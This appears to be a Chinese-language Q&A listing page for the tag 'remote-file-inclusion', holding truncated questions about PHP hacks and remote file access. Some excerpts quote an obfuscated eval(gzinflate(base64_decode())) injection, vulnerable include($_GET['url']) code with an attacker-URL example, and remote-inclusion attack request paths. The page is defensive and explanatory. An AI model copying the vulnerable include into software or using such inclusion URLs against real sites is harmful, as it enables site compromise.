remote-file-inclusion

4热度

1回答

PHP eval（gzinflate（base64_decode（..）））破解 - 如何防止它再次发生？

我们最近有一个网站被黑，其中一些PHP代码注入，看上去有点像index.php文件： eval (gzinflate(base64_decode('s127ezsS/...bA236UA1'))); 的代码是导致另一个PHP文件（cnfg.php）被包括在内，这正在导致一些与制药有关的垃圾信息被显示（但只对googlebot等人可见）。这看起来像WordPress的医药骇客，除非我们没有运

1热度

1回答

cck远程文件（图像）字段 - 我想在删除节点时保留图像的高速缓存副本

我使用Remote File模块显示远程图像的cck字段。它适用于一个已知问题：每次编辑都会重新载入图像http://drupal.org/node/395256 而且，当我做了大量节点的测试并在之后删除它们时，缓存在文件系统中的图像也会被删除。有没有办法告诉filefield（？）不要删除它们？编辑同时发现http://drupal.org/project/filefield_sources

1热度

2回答

无法在远程服务器上包含文件

我的问题是我无法在远程服务器上包含文件。 <?php echo "Including\n"; require_once("http://xx.xxx.xxx.xx:8080/path/to/myfile.inc"); echo "Done..\n"; ?> 脚本在require_once函数失败。我运行的脚本：PHP -d allow_url_include

0热度

3回答

查看介绍人？

我有问题。我有这样的代码： $theUrl = $_GET["url"]; include("$theUrl.php"); 这得到的网址，例如：http://mywebsite.com/index.php?url=test 但是，如果有人提出在： http://mywebsite.com/index.php?url=http://theirwebsite.com/someEvilscript

1热度

1回答

通过服务器路由下载; PHP设置

我试图从我们的视频主机Ooyala下载视频源文件，但这些文件的文件名很长，不具描述性，并且没有扩展名。由于这些文件会被许多不同类型的人可以下载我想解决这个问题，所以我设置页眉和读取文件的输出缓冲区用下面的代码： ini_set('max_execution_time', 7200); header('Content-Length:'.$video_file_size); header('Con

1热度

2回答

jquery：有没有办法从主机目录中读取所有文件？

即时头脑风暴的界面，动态生成一个页面基于位于页面的目录中的文件。我想知道jQuery是否可以做到这一点？例如，一个页面只显示每个文件的信息，可能是一个缩略图等。如果我要将一个新文件放入该目录，页面会显示它。

1热度

1回答

使用perl从远程主机读取文件

我试图读取位于远程主机（ubuntu）上的/ root目录下的文件（temp.txt），它位于同一个局域网中（ssh和ftp打开） The perl脚本能够连接并出现一个OpenSSH对话框，询问密码，然后程序exists.Please任何人都可以帮助..下面是我的脚本。 use POSIX qw(strftime); use strict; use warnings; use File

0热度

3回答

使用PHP打开远程文件

我有一个PHP页面，我想在远程机器上打开文件并阅读其内容。我必须指定远程机器的IP地址。这怎么能在PHP中完成？

2热度

1回答

通过另一台服务器的远程文件包含？

我的服务器（mediaquarter.at）目前正在被类似请求（有一些小的变化）的DDoSed：hXXp：//www.mediaquarter.at/http：//www.madeineurope.org.uk/media/functions/ ？timthumb/timthumb.php SRC = HTTP：//blogger.com.midislandrental.com/.mods/sh.

0热度

2回答

VB.Net中的File.Copy方法中的IBM AppScan安全性PathTraversal问题

我在VB.Net源代码上运行了IBM AppScan工具。我在Path.Transal类别下的File.Copy方法中遇到了一个安全问题。问题详细信息 - 漏洞类型 - PathTraversal 此API接受目录，文件名或二者兼有。如果用户提供的数据用于创建文件路径，则可以操作路径以指向不应允许访问的目录和文件，或者可能包含恶意数据或代码的文件。我该如何解决这个问题？ Imports Sys